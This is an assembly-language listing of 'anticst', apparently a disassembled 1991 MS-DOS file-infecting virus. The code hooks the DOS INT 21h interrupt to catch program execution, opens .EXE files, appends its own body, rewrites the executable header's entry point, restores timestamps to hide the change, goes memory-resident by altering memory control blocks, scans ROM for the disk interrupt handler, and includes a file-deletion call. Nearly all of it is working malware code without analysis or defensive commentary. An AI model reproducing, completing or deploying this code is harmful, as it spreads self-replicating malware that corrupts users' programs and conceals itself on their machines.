📄 anticst.asm
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PAGE 60,132
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
;圹 圹
;圹 ANTICST 圹
;圹 圹
;圹 Created: 4-Mar-91 圹
;圹 圹
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
data_1e equ 4Ch ; (0000:004C=31h)
data_2e equ 4Eh ; (0000:004E=70h)
data_3e equ 84h ; (0000:0084=0E3h)
data_4e equ 86h ; (0000:0086=161Ah)
data_5e equ 90h ; (0000:0090=8Eh)
data_6e equ 92h ; (0000:0092=1498h)
data_7e equ 102h ; (0000:0102=0CC00h)
data_8e equ 106h ; (0000:0106=326h)
data_9e equ 47Bh ; (0000:047B=0)
data_10e equ 0 ; (0326:0000=6A7h)
data_11e equ 2 ; (0326:0002=70h)
data_12e equ 0 ; (06A0:0000=65h)
data_13e equ 1 ; (06A1:0001=3028h)
data_14e equ 2 ; (06E3:0002=2342h)
data_15e equ 6 ; (06E3:0006=2344h)
data_33e equ 0FD89h ; (701E:FD89=0)
data_34e equ 0FD8Bh ; (701E:FD8B=0)
data_35e equ 0FDA1h ; (701E:FDA1=0)
data_36e equ 0FDA3h ; (701E:FDA3=0)
data_37e equ 0FDABh ; (701E:FDAB=0)
data_38e equ 0FDB5h ; (701E:FDB5=0)
data_39e equ 0FDB7h ; (701E:FDB7=0)
data_40e equ 0FDBDh ; (701E:FDBD=0)
data_41e equ 0FDBFh ; (701E:FDBF=0)
code_seg_a segment
assume cs:code_seg_a, ds:code_seg_a
org 100h
anticst proc far
start:
data_16 dw 73E9h
data_17 dw 0C302h
db 23 dup (0C3h)
data_19 dw 0C3C3h
data_20 dw 0C3C3h
db 2Ah, 2Eh, 5Ah, 49h, 50h
db 0
data_22 dw 0
data_23 dw 0
data_24 dw 0
data_25 dw 0
data_26 dw 0
data_27 dd 00000h
data_28 dw 0
data_29 dw 0
data_30 dd 00000h
data_31 dw 0
data_32 dw 0
db 40h, 3Dh, 4Dh, 4Bh, 75h, 9
db 55h, 8Bh, 0ECh, 83h, 66h, 6
db 0FEh, 5Dh, 0CFh, 80h, 0FCh, 4Bh
db 74h, 12h, 3Dh, 0, 3Dh, 74h
db 0Dh, 3Dh, 0, 6Ch, 75h, 5
db 80h, 0FBh, 0, 74h, 3
loc_1:
jmp loc_12
loc_2:
push es
push ds
push di
push si
push bp
push dx
push cx
push bx
push ax
call sub_5
call sub_6
cmp ax,6C00h
jne loc_3 ; Jump if not equal
mov dx,si
loc_3:
mov cx,80h
mov si,dx
locloop_4:
inc si
mov al,[si]
nop
or al,al ; Zero ?
loopnz locloop_4 ; Loop if zf=0, cx>0
sub si,2
cmp word ptr [si],4558h
je loc_6 ; Jump if equal
loc_5:
jmp short loc_11
db 90h
loc_6:
cmp word ptr [si-2],452Eh
nop
jz loc_7 ; Jump if zero
jmp short loc_5
loc_7:
mov ax,3D02h
call sub_4
jc loc_11 ; Jump if carry Set
mov bx,ax
mov ax,5700h
call sub_4
mov cs:data_23,cx ; (701E:0127=0)
mov cs:data_24,dx ; (701E:0129=0)
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_4
push cs
pop ds
mov dx,103h
mov si,dx
mov cx,18h
mov ah,3Fh ; '?'
call sub_4
jc loc_9 ; Jump if carry Set
cmp word ptr [si],5A4Dh
jne loc_8 ; Jump if not equal
call sub_1
jmp short loc_9
loc_8:
jmp short loc_9
loc_9:
jc loc_10 ; Jump if carry Set
mov ax,5701h
mov cx,cs:data_23 ; (701E:0127=0)
mov dx,cs:data_24 ; (701E:0129=0)
call sub_4
loc_10:
mov ah,3Eh ; '>'
call sub_4
loc_11:
call sub_6
pop ax
pop bx
pop cx
pop dx
pop bp
pop si
pop di
pop ds
pop es
loc_12:
jmp cs:data_27 ; (701E:012F=0)
anticst endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_1 proc near
mov dx,10h
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
mov dx,11Fh
mov cx,110Bh
mov ah,4Eh ; 'N'
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
mov dx,2Eh
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
mov ah,41h ; 'A'
int 21h ; DOS Services ah=function 41h
; delete file, name @ ds:dx
mov cx,[si+16h]
add cx,[si+8]
mov ax,10h
mul cx ; dx:ax = reg * ax
add ax,[si+14h]
adc dx,0
push dx
push ax
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_4
cmp dx,0
jne loc_13 ; Jump if not equal
cmp ax,3F0h
jae loc_13 ; Jump if above or =
pop ax
pop dx
stc ; Set carry flag
ret
loc_13:
mov di,ax
mov bp,dx
pop cx
sub ax,cx
pop cx
sbb dx,cx
cmp word ptr [si+0Ch],0
je loc_ret_16 ; Jump if equal
cmp dx,0
jne loc_14 ; Jump if not equal
cmp ax,3F0h
jne loc_14 ; Jump if not equal
stc ; Set carry flag
ret
loc_14:
mov dx,bp
mov ax,di
push dx
push ax
add ax,3F0h
adc dx,0
mov cx,200h
div cx ; ax,dx rem=dx:ax/reg
les di,dword ptr [si+2] ; Load 32 bit ptr
mov cs:data_25,di ; (701E:012B=0)
mov cs:data_26,es ; (701E:012D=0)
mov [si+2],dx
cmp dx,0
je loc_15 ; Jump if equal
inc ax
loc_15:
mov [si+4],ax
pop ax
pop dx
call sub_2
sub ax,[si+8]
les di,dword ptr [si+14h] ; Load 32 bit ptr
mov data_19,di ; (701E:011B=0C3C3h)
mov data_20,es ; (701E:011D=0C3C3h)
mov [si+14h],dx
mov [si+16h],ax
mov data_22,ax ; (701E:0125=0)
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_4
call sub_3
jc loc_ret_16 ; Jump if carry Set
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_4
mov ah,40h ; '@'
mov dx,si
mov cx,18h
call sub_4
loc_ret_16:
ret
sub_1 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_2 proc near
mov cx,4
mov di,ax
and di,0Fh
locloop_17:
shr dx,1 ; Shift w/zeros fill
rcr ax,1 ; Rotate thru carry
loop locloop_17 ; Loop if cx > 0
mov dx,di
ret
sub_2 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_3 proc near
mov ah,40h ; '@'
mov cx,3F0h
mov dx,100h
call sub_5
jmp short loc_18
db 90h
;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
sub_4:
loc_18:
pushf ; Push flags
call cs:data_27 ; (701E:012F=0)
ret
sub_3 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_5 proc near
push ax
push ds
push es
xor ax,ax ; Zero register
push ax
pop ds
cli ; Disable interrupts
les ax,dword ptr ds:data_5e ; (0000:0090=18Eh) Load 32 bit ptr
mov cs:data_28,ax ; (701E:0133=0)
mov cs:data_29,es ; (701E:0135=0)
mov ax,35Eh
mov ds:data_5e,ax ; (0000:0090=18Eh)
mov ds:data_6e,cs ; (0000:0092=1498h)
les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr
mov cs:data_31,ax ; (701E:013B=0)
mov cs:data_32,es ; (701E:013D=0)
les ax,cs:data_30 ; (701E:0137=0) Load 32 bit ptr
mov ds:data_1e,ax ; (0000:004C=831h)
mov ds:data_2e,es ; (0000:004E=70h)
sti ; Enable interrupts
pop es
pop ds
pop ax
ret
sub_5 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_6 proc near
push ax
push ds
push es
xor ax,ax ; Zero register
push ax
pop ds
cli ; Disable interrupts
les ax,dword ptr cs:data_28 ; (701E:0133=0) Load 32 bit ptr
mov ds:data_5e,ax ; (0000:0090=18Eh)
mov ds:data_6e,es ; (0000:0092=1498h)
les ax,dword ptr cs:data_31 ; (701E:013B=0) Load 32 bit ptr
mov ds:data_1e,ax ; (0000:004C=831h)
mov ds:data_2e,es ; (0000:004E=70h)
sti ; Enable interrupts
pop es
pop ds
pop ax
ret
sub_6 endp
db 0B0h, 3, 0CFh
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_7 proc near
mov dx,10h
mul dx ; dx:ax = reg * ax
ret
sub_7 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_8 proc near
xor ax,ax ; Zero register
xor bx,bx ; Zero register
xor cx,cx ; Zero register
xor dx,dx ; Zero register
xor si,si ; Zero register
xor di,di ; Zero register
xor bp,bp ; Zero register
ret
sub_8 endp
db 1Eh, 0E8h, 0, 0
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_9 proc near
mov ax,4B4Dh
int 21h ; DOS Services ah=function 4Bh
; run progm @ds:dx, parm @es:bx
jc loc_19 ; Jump if carry Set
jmp loc_29
loc_19:
pop si
push si
mov di,si
xor ax,ax ; Zero register
push ax
pop ds
les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr
mov cs:data_40e[si],ax ; (701E:FDBD=0)
mov cs:data_41e[si],es ; (701E:FDBF=0)
les bx,dword ptr ds:data_3e ; (0000:0084=6E3h) Load 32 bit ptr
mov cs:data_38e[di],bx ; (701E:FDB5=0)
mov cs:data_39e[di],es ; (701E:FDB7=0)
mov ax,ds:data_7e ; (0000:0102=0CC00h)
cmp ax,0F000h
jne loc_27 ; Jump if not equal
mov dl,80h
mov ax,ds:data_8e ; (0000:0106=326h)
cmp ax,0F000h
je loc_20 ; Jump if equal
cmp ah,0C8h
jb loc_27 ; Jump if below
cmp ah,0F4h
jae loc_27 ; Jump if above or =
test al,7Fh
jnz loc_27 ; Jump if not zero
mov ds,ax
cmp word ptr ds:data_10e,0AA55h ; (0326:0000=6A7h)
jne loc_27 ; Jump if not equal
mov dl,ds:data_11e ; (0326:0002=70h)
loc_20:
mov ds,ax
xor dh,dh ; Zero register
mov cl,9
shl dx,cl ; Shift w/zeros fill
mov cx,dx
xor si,si ; Zero register
locloop_21:
lodsw ; String [si] to ax
cmp ax,0FA80h
jne loc_22 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,7380h
je loc_23 ; Jump if equal
jnz loc_24 ; Jump if not zero
loc_22:
cmp ax,0C2F6h
jne loc_25 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,7580h
jne loc_24 ; Jump if not equal
loc_23:
inc si
lodsw ; String [si] to ax
cmp ax,40CDh
je loc_26 ; Jump if equal
sub si,3
loc_24:
dec si
dec si
loc_25:
dec si
loop locloop_21 ; Loop if cx > 0
jmp short loc_27
loc_26:
sub si,7
mov cs:data_40e[di],si ; (701E:FDBD=0)
mov cs:data_41e[di],ds ; (701E:FDBF=0)
loc_27:
mov ah,62h ; 'b'
int 21h ; DOS Services ah=function 62h
; get progrm seg prefix addr bx
mov es,bx
mov ah,49h ; 'I'
int 21h ; DOS Services ah=function 49h
; release memory block, es=seg
mov bx,0FFFFh
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
sub bx,41h
nop
jc loc_29 ; Jump if carry Set
mov cx,es
stc ; Set carry flag
adc cx,bx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
mov bx,40h
stc ; Set carry flag
sbb es:data_14e,bx ; (06E3:0002=2342h)
push es
mov es,cx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
mov ax,es
dec ax
mov ds,ax
mov word ptr ds:data_13e,8 ; (06A1:0001=6220h)
call sub_7
mov bx,ax
mov cx,dx
pop ds
mov ax,ds
call sub_7
add ax,ds:data_15e ; (06E3:0006=2344h)
adc dx,0
sub ax,bx
sbb dx,cx
jc loc_28 ; Jump if carry Set
sub ds:data_15e,ax ; (06E3:0006=2344h)
loc_28:
mov si,di
xor di,di ; Zero register
push cs
pop ds
sub si,27Ah
mov cx,3F0h
inc cx
rep movsb ; Rep while cx>0 Mov [si] to es:[di]
mov ah,62h ; 'b'
int 21h ; DOS Services ah=function 62h
; get progrm seg prefix addr bx
dec bx
mov ds,bx
mov byte ptr ds:data_12e,5Ah ; (06A0:0000=65h) 'Z'
mov dx,140h
xor ax,ax ; Zero register
push ax
pop ds
mov ax,es
sub ax,10h
mov es,ax
cli ; Disable interrupts
mov ds:data_3e,dx ; (0000:0084=6E3h)
mov ds:data_4e,es ; (0000:0086=161Ah)
sti ; Enable interrupts
dec byte ptr ds:data_9e ; (0000:047B=0)
loc_29:
pop si
cmp word ptr cs:data_33e[si],5A4Dh ; (701E:FD89=0)
jne loc_30 ; Jump if not equal
pop ds
mov ax,cs:data_37e[si] ; (701E:FDAB=0)
mov bx,cs:data_36e[si] ; (701E:FDA3=0)
push cs
pop cx
sub cx,ax
add cx,bx
push cx
push word ptr cs:data_35e[si] ; (701E:FDA1=0)
push ds
pop es
call sub_8
ret ; Return far
loc_30:
pop ax
mov ax,cs:data_33e[si] ; (701E:FD89=0)
mov cs:data_16,ax ; (701E:0100=73E9h)
mov ax,cs:data_34e[si] ; (701E:FD8B=0)
mov cs:data_17,ax ; (701E:0102=0C302h)
mov ax,100h
push ax
push cs
pop ds
push ds
pop es
call sub_8
ret
sub_9 endp
code_seg_a ends
end start
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